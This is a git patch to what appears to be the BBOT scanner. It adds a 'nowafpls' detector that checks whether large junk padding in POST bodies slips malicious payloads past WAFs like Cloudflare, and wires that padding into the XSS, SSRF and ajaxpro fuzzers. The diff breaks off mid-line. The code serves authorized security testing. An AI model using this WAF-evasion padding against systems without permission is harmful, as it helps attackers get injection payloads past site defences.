2001 From: Paul Mueller Date: Wed, 23 Sep 2026 17:13:35 -0400 Subject: [PATCH 096/256] Add nowafpls Cloudflare WAF bypass detector (#3336) * add nowafpls Cloudflare WAF bypass detector * nowafpls: log resolved_hosts and host_metadata in filter_event debug * nowafpls: strip filter/handle_event debug prints * nowafpls: helper with per-host memoized probe Move the bypass detection into a NowafplsHelper (helpers.nowafpls) that memoizes verdicts per host via asyncio.Task so concurrent consumers share a single probe. Detection is provider-agnostic: baseline the endpoint via helpers.http_compare with a benign POST body, then compare unpadded and padded malicious bodies against that baseline. Verdict is one of no_interference / bypassed / blocked / error. Provider name for the finding description is pulled from event.host_metadata (cloudcheck's cloud_providers with type waf or cdn) when available; otherwise the finding falls back to "WAF/inspection layer". Module filter drops from provider-name whitelist to just "waf" in event.tags. * nowafpls: shorten finding description, move detail to context * nowafpls: wire into lightfuzz, ajaxpro, generic_ssrf Helper gains pad_form_body / pad_json for transparent WAF-bypass padding. Lightfuzz avoid_wafs becomes tri-state (always/never/try_bypasses, default try_bypasses); prepare_request pads POSTPARAM/BODYJSON when the WAF is bypassable. Ajaxpro and generic_ssrf's POST submodule opportunistically pad their adversarial bodies. Findings emitted through a padded probe are tagged used-nowafpls. * lightfuzz-xss: enable POST fuzzing so nowafpls bypass gets exercised Drops disable_post, adds try_get_as_post so GET params get retested as POST, sets avoid_wafs=try_bypasses explicitly. A padded-POST XSS is triggerable from an attacker-controlled form, so the bypass is worth attempting here. * nowafpls: skip 3xx URLs; bump default padding to 1 MiB Two independent bugs made cloud-fronted targets never detect: - per_host_only clobbered the real https URL when the http variant (a 301 redirect) arrived first. Add a status-3xx reject in filter_event so the redirect stops being probed and the real endpoint keeps its slot. - The historical 128 KiB default no longer beats Cloudflare's inspection window. Bisected against a live CF site: XSS bypasses at body offset >= 1048603 (~ 1 MiB). Bump default to 1048576. * per-URL wildcard check; nowafpls finding includes pad size Base module's _is_http_wildcard_host was a host-level check: when the site root looked like a catchall, every event on that host was rejected. Real endpoints on wildcarding SPAs (e.g. a 200-catchall CF site with a distinct /params_test2.php) got dropped by lightfuzz / webbrute / etc. Wrapper now probes the specific URL against the wildcard baseline that the underlying helper already returned. For WEB_PARAMETER GETPARAMs the target URL is reconstructed with the parameter baked in (bare URLs on catchall hosts collapse to the baseline, only the parameterized form diverges). Also thread the padding size into the nowafpls FINDING description so operators can tell what size worked without cross-referencing the run config. Tests cover: per-URL divergence, GETPARAM reconstruction, POSTPARAM falling back to bare URL, HttpCompareError -> None, scalar-True mocks still short-circuit, and nowafpls skipping 3xx URLs. * accept boolean avoid_wafs for backwards compatibility * Fix WAF-tagged hosts being skipped when nothing is blocking lightfuzz's try_bypasses branch gated on `not result.bypassed`, which collapsed no_interference, blocked and error into a single rejection. A host that carries the `waf` tag but isn't gating payloads got zero fuzzing. Branch on the explicit status instead. The same branch applied `_post_capable` before consulting nowafpls, dropping every URL and GETPARAM event on a tagged host regardless of what the probe would have said. Padding is body-only, so that gate is only meaningful once the verdict is `bypassed`. HttpCompare.compare() reported a failed request as a baseline match. nowafpls read that as "no interference" on a killed unpadded request and as "bypassed" on a killed padded one, and wildcard detection read it as "this host is a catchall". Add `none_is_match` (default True, preserving existing behavior) and pass False from those three call sites; the wildcard paths now treat a dead probe as unknown. The reasons value on that path is also a list now rather than a bare string, which consumers were rendering as "4,0,3". Log probe verdicts through a shared BypassResult.summary that carries the error and diff reasons, and report at INFO so the result is visible without debug logging. * Distinguish an inconclusive WAF probe from a blocked one STATUS_BLOCKED and STATUS_ERROR each return their own filter reason instead of a bare False, and the probe verdict is logged once per host at verbose so it lands outside debug logging regardless of which module asked. * Log the no-bypass result at verbose instead of info * nowafpls: own padding size in the helper and fall back on 413 The probe now walks a configurable, descending list of padding sizes and steps down only on an explicit 413, so an origin body-size cap (nginx's default client_max_body_size is exactly the old 1 MiB default) reports as too_large instead of masquerading as a WAF block. A dropped connection stays ambiguous and does not advance the ladder. padding_size and payload move from the nowafpls module to web.* config, so pad_form_body, pad_json and lightfuzz's prepare_request all pad with the size the probe validated rather than a compiled-in default. * telerik tests: use per-worker HTTPSERVER_URL instead of hardcoded 8888 * sql: give scan.started_at an explicit naive datetime column for sqlmodel 0.0.46 --- bbot/core/config/models.py | 2 + bbot/core/helpers/diff.py | 9 +- bbot/core/helpers/helper.py | 8 + bbot/core/helpers/nowafpls.py | 244 +++++++++++++ bbot/core/helpers/web/web.py | 6 +- bbot/defaults.yml | 6 + bbot/models/sql.py | 2 +- bbot/modules/ajaxpro.py | 6 +- bbot/modules/base.py | 33 +- bbot/modules/generic_ssrf.py | 11 +- bbot/modules/lightfuzz/lightfuzz.py | 81 ++++- bbot/modules/lightfuzz/submodules/base.py | 22 +- bbot/modules/lightfuzz/submodules/cmdi.py | 2 +- bbot/modules/lightfuzz/submodules/crypto.py | 6 +- bbot/modules/lightfuzz/submodules/path.py | 2 +- bbot/modules/lightfuzz/submodules/serial.py | 8 +- bbot/modules/lightfuzz/submodules/sqli.py | 4 +- bbot/modules/nowafpls.py | 50 +++ bbot/presets/web/lightfuzz-light.yml | 2 +- bbot/presets/web/lightfuzz-max.yml | 2 +- bbot/presets/web/lightfuzz-xss.yml | 8 +- bbot/presets/web/lightfuzz.yml | 4 +- bbot/test/test_step_1/test_validate_preset.py | 25 ++ bbot/test/test_step_1/test_web.py | 116 +++++++ .../module_tests/test_module_ajaxpro.py | 95 ++++++ .../module_tests/test_module_generic_ssrf.py | 106 ++++++ .../module_tests/test_module_lightfuzz.py | 287 +++++++++++++++- .../module_tests/test_module_nowafpls.py | 301 ++++++++++++++++ .../module_tests/test_module_telerik.py | 6 +- docs/data/chord_graph/entities.json | 323 +++++++++--------- docs/data/chord_graph/rels.json | 288 ++++++++-------- docs/modules/list_of_modules.md | 1 + docs/scanning/configuration.md | 8 +- docs/scanning/events.md | 72 ++-- docs/scanning/index.md | 6 +- docs/scanning/presets_list.md | 26 +- 36 files changed, 1780 insertions(+), 398 deletions(-) create mode 100644 bbot/core/helpers/nowafpls.py create mode 100644 bbot/modules/nowafpls.py create mode 100644 bbot/test/test_step_2/module_tests/test_module_nowafpls.py diff --git a/bbot/core/config/models.py b/bbot/core/config/models.py index 3f3e85105d..b6543951ad 100644 --- a/bbot/core/config/models.py +++ b/bbot/core/config/models.py @@ -289,6 +289,8 @@ class WebConfig(BaseModel): http_retries: Optional[int] = None http_rate_limit: Optional[int] = None body_spill: Optional[BodySpillConfig] = None + nowafpls_padding_sizes: Optional[list[int]] = None + nowafpls_payload: Optional[str] = None # The `429_*` keys start with a digit, so we expose them via aliases. sleep_interval_429: Optional[int] = Field(default=None, alias="429_sleep_interval") max_sleep_interval_429: Optional[int] = Field(default=None, alias="429_max_sleep_interval") diff --git a/bbot/core/helpers/diff.py b/bbot/core/helpers/diff.py index 439a82625e..7017cc9148 100644 --- a/bbot/core/helpers/diff.py +++ b/bbot/core/helpers/diff.py @@ -264,6 +264,7 @@ async def compare( json=None, allow_redirects=False, timeout=None, + none_is_match=True, ): """ Compares a URL with the baseline, with optional headers or cookies added @@ -272,6 +273,8 @@ async def compare( where "match" is whether the content matched against the baseline, and "reason" is the location of the change ("code", "body", "header", or None), and "reflection" is whether the value was reflected in the HTTP response + + When the request fails outright, "match" is `none_is_match` and subject_response is None. """ await self._baseline() @@ -297,8 +300,10 @@ async def compare( ) if subject_response is None: - # this can be caused by a WAF not liking the header, so we really aren't interested in it - return (True, "403", reflection, subject_response) + # A dead request usually just means the probe wasn't interesting (a WAF not liking a + # fuzzed header, etc). Consumers that need to read it as interference, or as "unknown" + # rather than a verdict, pass none_is_match=False. + return (bool(none_is_match), ["request_failed"], reflection, None) if check_reflection: for arg in (headers, cookies): diff --git a/bbot/core/helpers/helper.py b/bbot/core/helpers/helper.py index e257b9cbb2..dade8c723c 100644 --- a/bbot/core/helpers/helper.py +++ b/bbot/core/helpers/helper.py @@ -15,6 +15,7 @@ from .dns import DNSHelper from .web import WebHelper from .diff import HttpCompare +from .nowafpls import NowafplsHelper from .regex import RegexHelper from .wordcloud import WordCloud from .interactsh import Interactsh @@ -116,6 +117,7 @@ def __init__(self, preset): self._asn = None self._cloudcheck = None self._asn = None + self._nowafpls = None self.config_aware_validators = self.validators.Validators(self) self.depsinstaller = DepsInstaller(self) self.word_cloud = WordCloud(self) @@ -159,6 +161,12 @@ def cloudcheck(self): self._cloudcheck = CloudCheck(verify_ssl=ssl_verify) return self._cloudcheck + @property + def nowafpls(self): + if self._nowafpls is None: + self._nowafpls = NowafplsHelper(self) + return self._nowafpls + def bloom_filter(self, size): from .bloom import BloomFilter diff --git a/bbot/core/helpers/nowafpls.py b/bbot/core/helpers/nowafpls.py new file mode 100644 index 0000000000..dd67be46c2 --- /dev/null +++ b/bbot/core/helpers/nowafpls.py @@ -0,0 +1,244 @@ +import asyncio +import logging +from dataclasses import dataclass, field +from urllib.parse import quote as _urlquote + +from bbot.errors import HttpCompareError + +log = logging.getLogger("bbot.core.helpers.nowafpls") + + +# Padding sizes to try, largest first. A bigger pad is likelier to outrun the WAF's +# inspection buffer, but 1 MiB is exactly nginx's default `client_max_body_size`, so +# the second rung exists to clear that ceiling on origins that enforce it. +DEFAULT_PADDING_SIZES = [1048576, 131072] +DEFAULT_PAYLOAD = "" +# Field name used to carry the junk padding in POST bodies. The double-underscore +# prefix keeps it out of the way of legitimate form fields when lightfuzz merges +# the pad into a real form. +PADDING_FIELD_NAME = "__nowafpls_pad" +# Only an explicit 413 is treated as "the body was too big". A dropped connection is +# ambiguous (the WAF may have killed it), and IIS reports maxAllowedContentLength as a +# plain 404, so neither can be told apart from interference without guessing. +SIZE_REJECTION_CODES = (413,) + + +@dataclass +class BypassResult: + """ + Verdict from a nowafpls probe against a single host. + + `status` is one of the STATUS_* class constants. `bypassed` is a convenience + boolean for the common "should I retry my probe with padding" question. + `padding_size` is the size that produced the verdict, which is what callers + must pad with so the exploit matches what was actually tested. + """ + + STATUS_NO_INTERFERENCE = "no_interference" + STATUS_BYPASSED = "bypassed" + STATUS_BLOCKED = "blocked" + STATUS_TOO_LARGE = "too_large" + STATUS_ERROR = "error" + + status: str + padding_size: int = 0 + payload: str = DEFAULT_PAYLOAD + waf_provider: str = "" + error: str = "" + diff_reasons: list = field(default_factory=list) + + @property + def bypassed(self) -> bool: + return self.status == self.STATUS_BYPASSED + + @property + def summary(self) -> str: + """One-line verdict for logging, shared by every consumer of the probe.""" + parts = [f"status={self.status}", f"provider={self.waf_provider or 'unknown'}"] + if self.padding_size: + parts.append(f"padding_size={self.padding_size}") + if self.error: + parts.append(f"error={self.error}") + if self.diff_reasons: + parts.append(f"diff_reasons={','.join(str(r) for r in self.diff_reasons)}") + return " ".join(parts) + + +class NowafplsHelper: + """ + Determine whether a host's WAF / inspection layer can be bypassed by prepending + a large junk padding to the malicious portion of a POST body. + + Detection is provider-agnostic: we baseline the endpoint with a benign body, + then compare the malicious unpadded and malicious padded responses against + that baseline via `helpers.http_compare`. Interpretation: + + * unpadded matches baseline -> nothing was gating the payload; no bypass to demonstrate + * unpadded differs, padded matches -> bypass works + * both differ from baseline -> gate held; padding did not help + * every padding size drew a 413 -> the origin caps body size; padding is unavailable + + A request the WAF kills outright (timeout / connection reset) counts as "differs", + not as a match, so a dropped connection reads as interference rather than acceptance. + + Padding size and payload are owned here rather than passed per call, so that every + consumer (the nowafpls module, lightfuzz, ajaxpro, generic_ssrf) pads with the size + the probe actually validated. + + Results are memoized per host for the scan's lifetime. Concurrent callers hit + the same in-flight `asyncio.Task`, so exactly one probe runs per host. + """ + + def __init__(self, parent_helper): + self.parent_helper = parent_helper + self._per_host: dict[str, asyncio.Task] = {} + web_config = getattr(parent_helper, "web_config", None) or {} + sizes = {int(s) for s in (web_config.get("nowafpls_padding_sizes") or DEFAULT_PADDING_SIZES)} + # descending, so the probe starts with the pad likeliest to clear the inspection buffer + self.padding_sizes = sorted((s for s in sizes if s > 0), reverse=True) or list(DEFAULT_PADDING_SIZES) + self.payload = web_config.get("nowafpls_payload") or DEFAULT_PAYLOAD + + @staticmethod + def pad_value(size: int) -> str: + return "A" * size + + async def is_bypassable(self, event) -> BypassResult: + """ + Probe the host and return a BypassResult. First caller runs the probe; + concurrent callers await the same Task and get the cached verdict. + """ + host = str(event.host) + new_probe = host not in self._per_host + if new_probe: + self._per_host[host] = asyncio.create_task(self._probe(event)) + result = await self._per_host[host] + if new_probe: + # one line per host, so the verdict is on the record regardless of which module asked + log.verbose(f"nowafpls: {event.url}: {result.summary}") + return result + + async def pad_form_body(self, event, body: str) -> str: + """Prepend a large junk field to a form-urlencoded POST body when the host's WAF is + bypassable. No-op for events without a ``waf`` tag or hosts where padding doesn't help. + Callers can drop this in around any adversarial POST body; the return value is either + the original body or the padded version, and callers compare (or track locally) if they + need to know whether the pad was applied.""" + if "waf" not in event.tags: + return body + result = await self.is_bypassable(event) + if not result.bypassed: + return body + pad = f"{PADDING_FIELD_NAME}={self.pad_value(result.padding_size)}" + return f"{pad}&{body}" if body else pad + + async def pad_json(self, event, data): + """Prepend a junk padding key to a JSON dict body when the host's WAF is bypassable. + No-op for events without a ``waf`` tag, non-bypassable hosts, or non-dict bodies.""" + if "waf" not in event.tags or not isinstance(data, dict): + return data + result = await self.is_bypassable(event) + if not result.bypassed: + return data + return {PADDING_FIELD_NAME: self.pad_value(result.padding_size), **data} + + async def _probe(self, event) -> BypassResult: + url = event.url + provider = self._identify_provider(event) + encoded_payload = _urlquote(self.payload, safe="") + benign_body = "q=hello" + unpadded_body = f"q={encoded_payload}" + headers = {"Content-Type": "application/x-www-form-urlencoded"} + + compare = self.parent_helper.http_compare( + url, + method="POST", + data=benign_body, + headers=headers, + include_cache_buster=False, + ) + + try: + match_unpadded, reasons_unpadded, *_ = await compare.compare( + url, method="POST", data=unpadded_body, headers=headers, none_is_match=False + ) + except HttpCompareError as e: + return BypassResult( + status=BypassResult.STATUS_ERROR, + payload=self.payload, + waf_provider=provider, + error=f"could not baseline {url}: {e}", + ) + + if match_unpadded: + return BypassResult( + status=BypassResult.STATUS_NO_INTERFERENCE, + payload=self.payload, + waf_provider=provider, + ) + + # Walk the ladder largest-first, stepping down only on an explicit size rejection. + # A WAF that held at one size will only hold harder at a smaller one, so any other + # outcome is the final verdict. + for padding_size in self.padding_sizes: + log.debug(f"nowafpls: probing {url} with {padding_size} bytes of padding") + padded_body = f"{PADDING_FIELD_NAME}={self.pad_value(padding_size)}&q={encoded_payload}" + try: + match_padded, reasons_padded, _, padded_response = await compare.compare( + url, method="POST", data=padded_body, headers=headers, none_is_match=False + ) + except HttpCompareError as e: + return BypassResult( + status=BypassResult.STATUS_ERROR, + padding_size=padding_size, + payload=self.payload, + waf_provider=provider, + error=f"padded compare failed for {url}: {e}", + diff_reasons=list(reasons_unpadded), + ) + + if padded_response is not None and padded_response.status_code in SIZE_REJECTION_CODES: + log.debug( + f"nowafpls: {url} rejected a {padding_size}-byte pad with " + f"HTTP {padded_response.status_code}; trying a smaller one" + ) + continue + + if match_padded: + return BypassResult( + status=BypassResult.STATUS_BYPASSED, + padding_size=padding_size, + payload=self.payload, + waf_provider=provider, + diff_reasons=list(reasons_unpadded), + ) + return BypassResult( + status=BypassResult.STATUS_BLOCKED, + padding_size=padding_size, + payload=self.payload, + waf_provider=provider, + diff_reasons=list(reasons_padded), + ) + + return BypassResult( + status=BypassResult.STATUS_TOO_LARGE, + padding_size=self.padding_sizes[-1], + payload=self.payload, + waf_provider=provider, + error=f"origin rejected every padding size {self.padding_sizes} as too large", + diff_reasons=list(reasons_unpadded), + ) + + @staticmethod + def _identify_provider(event) -> str: + """ + Look up the WAF/CDN provider name from cloudcheck's host_metadata, if any. + Returns a display-cased name like "Cloudflare" or empty string if unknown. + """ + metadata = getattr(event, "host_metadata", None) or {} + for host_data in metadata.values(): + cloud_providers = host_data.get("cloud_providers") or {} + for name, info in cloud_providers.items(): + types = info.get("types") or [] + if any(t in ("waf", "cdn") for t in types): + return name.title() + return "" diff --git a/bbot/core/helpers/web/web.py b/bbot/core/helpers/web/web.py index 1b9c5fc764..f82917ae49 100644 --- a/bbot/core/helpers/web/web.py +++ b/bbot/core/helpers/web/web.py @@ -723,10 +723,14 @@ async def _probe_wildcard_host(self, scheme, host, port): return "retry" root_url = f"{scheme}://{host}:{port}/" try: - root_match, root_reasons, _, _ = await compare.compare(root_url) + root_match, root_reasons, _, root_response = await compare.compare(root_url, none_is_match=False) except HttpCompareError as e: log.debug(f"is_http_wildcard_host: root probe failed for {host}:{port}: {e}") return "retry" + if root_response is None: + # a dead probe is unknown, not a wildcard verdict + log.debug(f"is_http_wildcard_host: root probe to {host}:{port} returned no response") + return "retry" if not root_match: log.debug( f"is_http_wildcard_host: {host}:{port} root distinct from random-path baseline ({root_reasons}); not a wildcard" diff --git a/bbot/defaults.yml b/bbot/defaults.yml index 3a3d53a55c..cd34653e1d 100644 --- a/bbot/defaults.yml +++ b/bbot/defaults.yml @@ -134,6 +134,12 @@ web: ssl_verify_target: false # Whether to verify SSL certificates for non-target traffic (APIs, wordlist downloads, etc.) ssl_verify_infrastructure: true + # nowafpls WAF-bypass body padding sizes, tried largest first. + # The probe steps down a rung only when the origin explicitly rejects the size with a 413; + # 1 MiB is exactly nginx's default client_max_body_size, hence the 128 KiB fallback. + nowafpls_padding_sizes: [1048576, 131072] + # Payload the nowafpls probe uses to detect whether the WAF is interfering at all + nowafpls_payload: "" # Maximum HTTP requests per second (0 = unlimited) # Applies globally across all blasthttp consumers (http probing, web brute, etc.) http_rate_limit: 0 diff --git a/bbot/models/sql.py b/bbot/models/sql.py index a419f6a56e..aad649ff36 100644 --- a/bbot/models/sql.py +++ b/bbot/models/sql.py @@ -112,7 +112,7 @@ class Scan(BBOTBaseModel, table=True): id: str = Field(primary_key=True) name: str status: str - started_at: NaiveUTC = Field(index=True) + started_at: NaiveUTC = Field(sa_column=Column(SQLADateTime, nullable=False, index=True)) finished_at: Optional[NaiveUTC] = Field(default=None, sa_column=Column(SQLADateTime, nullable=True, index=True)) duration_seconds: Optional[float] = Field(default=None) duration: Optional[str] = Field(default=None) diff --git a/bbot/modules/ajaxpro.py b/bbot/modules/ajaxpro.py index 846133cc5c..6d2e337a82 100644 --- a/bbot/modules/ajaxpro.py +++ b/bbot/modules/ajaxpro.py @@ -69,7 +69,10 @@ async def confirm_exploitability(self, detection_url, event): payload = {} headers = {"X-Ajaxpro-Method": "AddItem"} - probe_response = await self.helpers.request(full_url, method="POST", headers=headers, json=payload) + padded_payload = await self.helpers.nowafpls.pad_json(event, payload) + used_nowafpls = padded_payload is not payload + + probe_response = await self.helpers.request(full_url, method="POST", headers=headers, json=padded_payload) if probe_response: if ( "AjaxPro.Services.ICartService" in probe_response.text @@ -87,5 +90,6 @@ async def confirm_exploitability(self, detection_url, event): }, "FINDING", event, + tags=["used-nowafpls"] if used_nowafpls else None, context=f"{self.meta['description']} discovered Ajaxpro instance ({event.type}) at {detection_url}", ) diff --git a/bbot/modules/base.py b/bbot/modules/base.py index 4b911f3d89..5a9912ef19 100644 --- a/bbot/modules/base.py +++ b/bbot/modules/base.py @@ -5,7 +5,7 @@ from contextlib import suppress from ..core.helpers.misc import get_size # noqa -from ..errors import ValidationError, WebError +from ..errors import HttpCompareError, ValidationError, WebError from ..core.helpers.async_helpers import TaskCounter, ShuffleQueue from ..core.event import is_event @@ -944,9 +944,10 @@ async def _event_postcheck_inner(self, event): async def _is_http_wildcard_host(self, event): """Check whether the event's host is an HTTP wildcard responder. - Extracts scheme/host/port from the event's parsed_url when available, - otherwise falls back to ``event.host`` with https/443. Returns True - (wildcard), False (not wildcard), or None (probe failed / no host). + When the host is flagged wildcard, probe this URL against the + wildcard baseline. If it diverges, the URL is a real endpoint and + should NOT be skipped. Returns True (wildcard) / False (not + wildcard) / None (probe failed / no host). """ p = getattr(event, "parsed_url", None) if p is not None and p.hostname: @@ -963,7 +964,29 @@ async def _is_http_wildcard_host(self, event): result = await self.helpers.is_http_wildcard_host(scheme, host, port) if result in (False, None): return result - return True + # Underlying helper returns an HttpCompare with the baseline preloaded + # on a real wildcard hit; probe this URL against that baseline. Fall + # back to plain-bool truthiness when a test mock returned a scalar. + if not hasattr(result, "compare"): + return bool(result) + # For WEB_PARAMETER GETPARAMs, probe the URL with the parameter baked + # in — the bare URL may be a catchall while `?name=value` is real. + target_url = p.geturl() if p is not None else f"{scheme}://{host}:{port}/" + if event.type == "WEB_PARAMETER" and isinstance(event.data, dict) and event.data.get("type") == "GETPARAM": + name = event.data.get("name") + value = event.data.get("original_value") + if name: + target_url = self.helpers.add_get_params( + target_url, {name: value if value is not None else ""} + ).geturl() + try: + match, _, _, subject_response = await result.compare(target_url, none_is_match=False) + except HttpCompareError: + return None + if subject_response is None: + # a dead probe is unknown, not a wildcard verdict + return None + return match def _scope_distance_check(self, event): # Seeds bypass scope distance checks diff --git a/bbot/modules/generic_ssrf.py b/bbot/modules/generic_ssrf.py index ae0e1baab0..a379312047 100644 --- a/bbot/modules/generic_ssrf.py +++ b/bbot/modules/generic_ssrf.py @@ -64,7 +64,7 @@ async def test(self, event): if r: self.process(event, r.text, subdomain_tag) - def process(self, event, r, subdomain_tag): + def process(self, event, r, subdomain_tag, used_nowafpls=False): response_token = self.generic_ssrf.interactsh_domain.split(".")[0][::-1] if response_token in r: echoed_response = True @@ -76,6 +76,7 @@ def process(self, event, r, subdomain_tag): self.technique_description, self.severity, echoed_response, + used_nowafpls, ) @@ -125,9 +126,11 @@ async def test(self, event): for tag, pd in post_data_list: # Send raw body (not URL-encoded) so payload URLs like http://... reach the server literally. raw_body = "&".join(f"{k}={v}" for k, v in pd.items()) - r = await self.generic_ssrf.helpers.request(url=test_url, method="POST", body=raw_body) + padded_body = await self.generic_ssrf.helpers.nowafpls.pad_form_body(event, raw_body) + used_nowafpls = padded_body is not raw_body + r = await self.generic_ssrf.helpers.request(url=test_url, method="POST", body=padded_body) if r: - self.process(event, r.text, tag) + self.process(event, r.text, tag, used_nowafpls=used_nowafpls) class Generic_XXE(BaseSubmodule): @@ -213,6 +216,7 @@ async def interactsh_callback(self, r): matched_technique = match[1] matched_severity = match[2] matched_echoed_response = str(match[3]) + matched_used_nowafpls = match[4] triggering_param = self.parameter_subdomain_tags_map.get(subdomain_tag, None) description = f"Out-of-band interaction: [{matched_technique}]" @@ -236,6 +240,7 @@ async def interactsh_callback(self, r): event_data, "FINDING", matched_event, + tags=["used-nowafpls"] if matched_used_nowafpls else None, context=f"{{module}} scanned {matched_event.url} and detected {{event.type}}: {matched_technique}", ) else: diff --git a/bbot/modules/lightfuzz/lightfuzz.py b/bbot/modules/lightfuzz/lightfuzz.py index a2a3b71c5e..a05e8071a1 100644 --- a/bbot/modules/lightfuzz/lightfuzz.py +++ b/bbot/modules/lightfuzz/lightfuzz.py @@ -1,12 +1,16 @@ import importlib +from typing import Literal from urllib.parse import urlparse from bbot.modules.base import BaseModule from bbot.core.helpers.async_helpers import NamedLock from bbot.errors import InteractshError +from pydantic import field_validator + from bbot.core.config.models import BaseModuleConfig, Field from bbot.core.helpers.misc import get_waf_strings +from bbot.core.helpers.nowafpls import BypassResult from bbot.core.helpers.web.response_event import response_to_event_dict from bbot.modules.lightfuzz.submodules.base import BaseLightfuzz from bbot.modules.lightfuzz.submodules.serial import serial as _serial_submodule @@ -34,14 +38,27 @@ class Config(BaseModuleConfig): try_get_as_post: bool = Field( False, description="For each GETPARAM, also fuzz it as a POSTPARAM (in addition to normal GET fuzzing)." ) - avoid_wafs: bool = Field( - True, description="Avoid running against confirmed WAFs, which are likely to block lightfuzz requests" + avoid_wafs: Literal["always", "never", "try_bypasses"] = Field( + "try_bypasses", + description=( + "How to handle WAF-tagged targets. 'always' skips them entirely; 'never' fuzzes them " + "raw; 'try_bypasses' (default) asks nowafpls whether body padding gets through, " + "and fuzzes with padding when it does." + ), ) emit_baseline_responses: bool = Field( True, description="Emit canonical baseline responses as HTTP_RESPONSE events so excavate can mine them for new params/URLs.", ) + @field_validator("avoid_wafs", mode="before") + @classmethod + def _normalize_avoid_wafs(cls, v): + # also accept the boolean form: True skipped WAF-tagged targets, False fuzzed them raw + if isinstance(v, bool): + return "always" if v else "never" + return v.strip().lower() if isinstance(v, str) else v + meta = { "description": "BBOT's DAST module — lightly fuzz web parameters discovered during recon for common vulnerability classes", "author": "@liquidsec", @@ -62,7 +79,10 @@ async def setup(self): self.try_get_as_post = self.config.get("try_get_as_post", False) self.enabled_submodules = self.config.get("enabled_submodules") self.interactsh_disable = self.scan.config.get("interactsh_disable", False) - self.avoid_wafs = self.scan.config.get("avoid_wafs", True) + avoid_wafs = self.config.get("avoid_wafs", "try_bypasses") + if isinstance(avoid_wafs, bool): + avoid_wafs = "always" if avoid_wafs else "never" + self.avoid_wafs = avoid_wafs.strip().lower() self.emit_baseline_responses = self.config.get("emit_baseline_responses", True) self.submodules = {} # Per-event baseline cache so submodules with identical request signatures share one HttpCompare. @@ -257,10 +277,12 @@ async def run_submodule(self, submodule, event): event_data["severity"] = r["severity"] event_data["confidence"] = r["confidence"] event_data["name"] = f"Lightfuzz - {r['name']}" + tags = ["used-nowafpls"] if submodule_instance.used_nowafpls else None await self.emit_event( event_data, "FINDING", event, + tags=tags, ) async def handle_event(self, event): @@ -299,6 +321,10 @@ async def handle_event(self, event): try: original_type = event.data["type"] + # On WAF-bypassable hosts (try_bypasses mode), GET-firing passes just hit the WAF + # (padding is body-only). Skip the native GET-side pass and try_post_as_get. + in_bypass_mode = "waf" in event.tags and self.avoid_wafs == "try_bypasses" + # Fire the canonical baseline once per WEB_PARAMETER so excavate can mine the # post-submit page; later submodule baseline_probes hit the response cache. if self.emit_baseline_responses: @@ -308,21 +334,23 @@ async def handle_event(self, event): except Exception as e: self.debug(f"module-level baseline_probe raised: {e}") + skip_native_pass = in_bypass_mode and original_type not in ("POSTPARAM", "BODYJSON") + # Normal fuzzing pass (skipped for POSTPARAM if disable_post is True) - if not (self.disable_post and original_type == "POSTPARAM"): + if not skip_native_pass and not (self.disable_post and original_type == "POSTPARAM"): for submodule_name, submodule in self.submodules.items(): self.debug(f"Starting {submodule_name} fuzz()") await self.run_submodule(submodule, event) - # Additional pass: try POSTPARAM as GETPARAM - if self.try_post_as_get and original_type == "POSTPARAM": + # Additional pass: try POSTPARAM as GETPARAM (would fire a GET — skip on WAF bypass) + if not in_bypass_mode and self.try_post_as_get and original_type == "POSTPARAM": event.data["type"] = "GETPARAM" event.data["converted_from_post"] = True for submodule_name, submodule in self.submodules.items(): self.debug(f"Starting {submodule_name} fuzz() (try_post_as_get)") await self.run_submodule(submodule, event) - # Additional pass: try GETPARAM as POSTPARAM + # Additional pass: try GETPARAM as POSTPARAM (fires a POST — padded on WAF bypass) if self.try_get_as_post and original_type == "GETPARAM": event.data["type"] = "POSTPARAM" event.data["converted_from_get"] = True @@ -365,17 +393,42 @@ async def finish(self): except InteractshError as e: self.debug(f"Error in interact.sh: {e}") + def _post_capable(self, event): + """Would this event fire any POST-style probe? Padding is body-only, so GET/COOKIE/HEADER + events on a WAF-tagged host have no bypass to try.""" + if event.type != "WEB_PARAMETER": + return False + ptype = event.data.get("type", "") + return ptype in ("POSTPARAM", "BODYJSON") or (ptype == "GETPARAM" and self.try_get_as_post) + async def filter_event(self, event): if await self._is_http_wildcard_host(event) is True: return False, "host is an HTTP wildcard responder" - # Unless configured specifically to do so, avoid running against confirmed WAFs - if self.avoid_wafs and "waf" in event.tags: - # Use parsed_url.geturl() for both URL and WEB_PARAMETER events - parsed_url = getattr(event, "parsed_url", None) - url = parsed_url.geturl() if parsed_url else "unknown" - self.debug(f"Skipping {event.type} because it is likely to be blocked by a WAF. URL: {url}") - return False + if "waf" in event.tags: + if self.avoid_wafs == "always": + parsed_url = getattr(event, "parsed_url", None) + url = parsed_url.geturl() if parsed_url else "unknown" + self.debug(f"Skipping {event.type} (avoid_wafs=always). URL: {url}") + return False + if self.avoid_wafs == "try_bypasses": + # The "waf" tag comes from the CDN/WAF provider's identity, not from observed + # blocking, so ask nowafpls what the host actually does with a payload. + result = await self.helpers.nowafpls.is_bypassable(event) + if result.status == BypassResult.STATUS_BLOCKED: + return False, f"WAF blocked the payload and body padding did not help ({result.summary})" + if result.status == BypassResult.STATUS_TOO_LARGE: + # the WAF held and the origin caps body size, so padding is not available here + return False, f"WAF blocked the payload and the origin rejected every pad size ({result.summary})" + if result.status == BypassResult.STATUS_ERROR: + # no verdict, which is a different thing from a WAF that held; say so instead of + # dropping the event with a generic reason + return False, f"WAF bypass probe was inconclusive ({result.summary})" + if result.status == BypassResult.STATUS_BYPASSED and not self._post_capable(event): + # padding is body-only, so a GET/COOKIE/HEADER probe has no bypass to apply + return False, "WAF is bypassable via body padding, but this event has no POST-style probe" + # STATUS_NO_INTERFERENCE: nothing is gating the payload, so fuzz normally + # avoid_wafs == "never": fall through and fuzz raw # Skip WEB_PARAMETERs on static-asset URLs (pdf, doc, xml, etc.) — fuzzing them is pointless if event.type == "WEB_PARAMETER": diff --git a/bbot/modules/lightfuzz/submodules/base.py b/bbot/modules/lightfuzz/submodules/base.py index cf07d30459..0eeb4d229b 100644 --- a/bbot/modules/lightfuzz/submodules/base.py +++ b/bbot/modules/lightfuzz/submodules/base.py @@ -15,6 +15,9 @@ def __init__(self, lightfuzz, event): self.event = event self.results = [] self.parameter_name = self.event.data["name"] + # Flipped True when prepare_request pads a probe body via nowafpls. Downstream findings + # get tagged ``used-nowafpls`` so consumers can distinguish bypass-mediated results. + self.used_nowafpls = False def register_interactsh_tag( self, *, name, description, severity, confidence, severity_dns=None, confidence_dns=None @@ -101,7 +104,7 @@ def build_query_string(self, probe, parameter_name, additional_params=None): params[parameter_name] = probe return 